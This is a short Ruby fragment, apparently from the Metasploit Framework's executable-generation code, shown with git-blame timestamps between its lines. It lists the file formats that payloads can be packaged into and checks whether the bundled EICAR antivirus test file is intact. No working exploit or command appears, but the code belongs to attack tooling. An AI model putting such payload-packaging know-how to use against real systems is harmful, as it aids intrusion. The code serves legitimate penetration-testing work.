def self . to_executable_fmt_formats
2012-05-18 21:39:49 +00:00
[ 'dll' , 'exe' , 'exe-small' , 'elf' , 'macho' , 'vba' , 'vba-exe' , 'vbs' , 'loop-vbs' , 'asp' , 'aspx' , 'war' , 'psh' , 'psh-net' ]
2010-09-21 00:13:30 +00:00
end
2010-10-04 03:07:58 +00:00
#
# EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
#
def self . is_eicar_corrupted?
path = :: File . expand_path ( :: File . join ( :: File . dirname ( __FILE__ ) , " .. " , " .. " , " .. " , " data " , " eicar.com " ) )
return true if not :: File . exists? ( path )
begin
2011-11-20 01:32:06 +00:00
data = :: File . read ( path )
2010-10-04 03:07:58 +00:00
if Digest :: SHA1 . hexdigest ( data ) != " 3395856ce81f2b7382dee72602f798b642f14140 "
return true
end
2011-11-20 01:32:06 +00:00
2010-10-04 03:07:58 +00:00
rescue :: Exception
return true
end
2011-11-20 01:32:06 +00:00
2010-10-04 03:07:58 +00:00
false
end
2010-09-21 00:13:30 +00:00
2009-06-20 17:42:17 +00:00
end
end
end
2010-05-05 18:25:26 +00:00